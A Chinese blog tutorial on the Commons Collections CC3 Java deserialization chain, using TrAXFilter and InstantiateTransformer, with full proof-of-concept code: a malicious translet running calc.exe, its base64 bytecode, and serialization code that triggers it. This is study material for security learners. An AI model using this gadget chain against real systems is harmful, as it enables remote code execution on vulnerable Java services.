首页 > 其他分享 >cc3链:TrAXFilter在构造方法中加载字节码

cc3链:TrAXFilter在构造方法中加载字节码

时间:2024-06-12 09:21:24浏览次数:18  
标签:构造方法 sun new cc3 org apache import com TrAXFilter

cc1的终点InvokerTransformer如果被拉黑了怎么办?

这就是cc3出现的机缘

回顾一下cc1的org.apache.commons.collections.functors.InstantiateTransformer

InvokerTransformer的transform方法会接受一个对象输入,然后通过反射调用该对象的某个方法

那么有没有功能类似的类呢?有的,那就是InstantiateTransformer

InstantiateTransformer的transform方法会接受一个对象输入,然后调用构造方法

唯一不同点是一个是调用任意方法,一个是调用构造方法。

任意方法好说啊,我们可以用Runtime.getRuntime().exec来执行命令,如果换成构造方法的话,有什么类的构造方法可以执行命令呢?这里我们不要把目光局限在Runtime.getRuntime().exec上面,如果构造方法可以动态加载字节码的话,那么我们就可以自己写一个恶意类加载进去,在初始化模块直接调用Runtime.getRuntime().exec

这个类就是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

TrAXFilter

其构造方法中调用了templates.newTransformer()

这不就是我们之前说的动态加载字节码吗,这一加载就能rce了

image

首先制作一个恶意类

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {

    static {
        try {
            System.out.println("    [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

之后先运行一次程序,获取Calc.java

在其目录下certutil -f -encode Calc.class class.base64获取字节码

编写主函数

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      //Calc a=new Calc();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAQgoACwAnCQAoACkIACoKACsALAoALQAuCAAvCgAtADAHADEKAAgA" +
                "MgcAMwcANAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUB" +
                "ABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0NhbGM7" +
                "AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJu" +
                "YWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9z" +
                "ZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1M" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAho" +
                "YW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJp" +
                "YWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADUBAKYo" +
                "TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNv" +
                "bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRv" +
                "cjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nl" +
                "cmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcv" +
                "YXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRs" +
                "ZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVy" +
                "L1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lv" +
                "L0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADEBAApTb3VyY2VGaWxlAQAJ" +
                "Q2FsYy5qYXZhDAAMAA0HADYMADcAOAEAVSAgICBbK11jYWxj57G755qE6Z2Z5oCB" +
                "5Yid5aeL5YyW5qih5Z2X77yM6LCD55SoUnVudGltZS5nZXRSdW50aW1lKCkuZXhl" +
                "YygiY2FsYy5leGUiKTsHADkMADoAOwcAPAwAPQA+AQAIY2FsYy5leGUMAD8AQAEA" +
                "E2phdmEvaW8vSU9FeGNlcHRpb24MAEEADQEAEG9yZy9leGFtcGxlL0NhbGMBAEBj" +
                "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9B" +
                "YnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVy" +
                "bmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEA" +
                "A291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJl" +
                "YW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5n" +
                "L1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAE" +
                "ZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEA" +
                "D3ByaW50U3RhY2tUcmFjZQAhAAoACwAAAAAABAABAAwADQABAA4AAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIADwAAAAYAAQAAAAsAEAAAAAwAAQAAAAUAEQASAAAAAQATABQA" +
                "AgAOAAAAPwAAAAMAAAABsQAAAAIADwAAAAYAAQAAABkAEAAAACAAAwAAAAEAEQAS" +
                "AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAOAAAASQAA" +
                "AAQAAAABsQAAAAIADwAAAAYAAQAAAB4AEAAAACoABAAAAAEAEQASAAAAAAABABUA" +
                "FgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAIAANAAEADgAAAG0A" +
                "AgABAAAAGrIAAhIDtgAEuAAFEga2AAdXpwAISyq2AAmxAAEAAAARABQACAADAA8A" +
                "AAAaAAYAAAAPAAgAEAARABMAFAARABUAEgAZABQAEAAAAAwAAQAVAAQAIQAiAAAA" +
                "IwAAAAcAAlQHACQEAAEAJQAAAAIAJg==");
        TemplatesImpl obj = new TemplatesImpl();
        // 设置字节码及其对应类名
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "Calc");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
       // Object o = obj.newTransformer();
        // 构造Payload
        System.out.println("[+]构造TrAXFilter");
        ConstantTransformer a= new ConstantTransformer(TrAXFilter.class);
        System.out.println("[+]构造InstantiateTransformer");
        InstantiateTransformer b=new InstantiateTransformer(
                new Class[] { Templates.class },
                new Object[] {obj}
        );

        Transformer[] transformers = new Transformer[] {a, b};
        // 声明一个fakeTransformers
        Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };
        // 将fakeTransformers存入ChainedTransformer这个继承类(链式Transformer)
        System.out.println("[+]构造transformerChain");
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        // 创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        // 对Map做修饰,使其在触发get时,可以执行一个回调(即执行transformerChain链)
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        // 创建tiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "K");
        // 创建用于反序列化的Map,key为TiedMapEntry对象
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "V");
        outerMap.remove("K");

        // 反射修改transformerChain里的内容(改为恶意payload)
        System.out.println("[+]将真正的恶意payload反射输入到ChainedTransformer中");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, transformers);

        // 序列化
        System.out.println("[+]序列化");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        // 反序列化
        System.out.println("[+]反序列化");
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }


}

运行结果

image

标签:构造方法,sun,new,cc3,org,apache,import,com,TrAXFilter
From: https://www.cnblogs.com/Aixve/p/18243277

相关文章

  • Java构造方法的作业题
    基于面向对象的构造方法的调用,产生有参和无参的构造方法,使用private去保护类内访问packagecom.imooc.day01;/***@authorwangChen*@date2024/5/30*@Description*/publicclassHomeWork01{privateStringname;privateintdata;privatedou......
  • QCC30xx如何实单声道MONO输出
    有客户提出需要将QCC30xx的输出改为单声道输出(我们的QCC30xx是双声道输出,如果采用单声道输出,我们需要进行混音操作)。客户采用目前最新的SDK上将INCLUDE_STEREO屏蔽掉,直接进行编译,会报一系列的问题,编译不过。 也有很多客户尝试在各个模式下强制将通道输出设置为mono模式......
  • 子类调用父类构造方法例题
    这段代码定义了三个类:Father(父类)、Child(子类)和Test(测试类)。首先,main方法执行newChild();时,会调用子类的构造函数。父类子类在子类Child的无参构造函数中,首先调用了this("dd"),这实际上是调用了Child类的有参构造函数但是,在子类Child的有参构造函数中,又调用了super("dd"),这......
  • TextClip构造方法报OSError:MoviePy creation of None failed because of the followi
    在使用moviepy的构造方法创建实例时报错:这可能是两个原因导致的:未安装ImageMagick应用ImageMagick是一套功能强大、稳定而且开源的多平台工具集和开发包,可以用来读、写和处理超过200种基本格式的图片文件,包括PNG,JPEG,GIF,HEIC,TIFF,DPX,EXR,WebP,Postscript,PDF和SVG等格式。利用ImageM......
  • 一种车载蓝牙显示终端(QCC3040 QCC5125 OLED RX 显示蓝牙歌曲名)
    作为车载多媒体一种延伸,车载蓝牙终端通常作为手机与车机中转站,可以作为点烟器扩展产品。 通过播放暂停音乐、接打挂断电话、媒体音量加减、上下一曲功能来进行人机交互。 产品通常还有3.5mm输入接口。  通过车载IDB-CIDB-MIDB-Wireless等多媒体协议解析出车载媒体控......
  • dotnet Core 静态方法和构造方法
    //静态方法://特点:1.生命周期一旦创建-应用结束才会结束2.全局的3.效率高(放在内存中)//用户:用户登录,系统配置信息,系统设置,SQLHelper//注意:静态的东西创建多了,占用内存会很大//调用:静态方法调用非静态方法不能直接调用,要初始化(new一下)通过对象再去......
  • python多继承构造方法参数报错
    各路大神,今天下午在学习Python3.12多继承的时候,有个构造方法一直报错,希望大家能帮忙瞅瞅,求求了~~~~~~~代码如下:点击查看代码classRectangle:def__init__(self,width,height):self.width=widthself.height=heightdefarea(self):......
  • Java8-类和对象、封装、构造方法
    目录类和对象类和对象的理解类的理解类的组成类和对象的关系类的定义类是由属性和行为两部分组成类的定义步骤:对象的使用创建对象的格式:调用成员的格式:练习对象内存图单个对象内存图多个对象内存图成员变量和局部变量封装思想封装概述封装代码实现private......
  • 构造方法和普通方法区别是啥?
    在面向对象编程中,构造方法(Constructor)和普通方法(普通方法)有几个关键区别:用途不同:构造方法用于初始化对象,当创建一个类的实例时会自动调用构造方法来初始化对象的状态。普通方法用于执行特定的操作或计算,并且可以根据需要调用多次。方法签名不同:构造方法的名称与类名......
  • Python自学:类 构造方法练习(思路打不通,还遇到赋值错乱!)
    开始学习类一个练习,就是输入学生信息,并且要用到forinput结合,构造方法等。自己思考时,这个应该先设计一个类,然后用input输入,之前练习过main架构 tools调用两个py文件相互辅助,这个是不是也是,还有全局变量,想了很多结果不是,乱的。看了课件,用到forxinrange(1,11):开......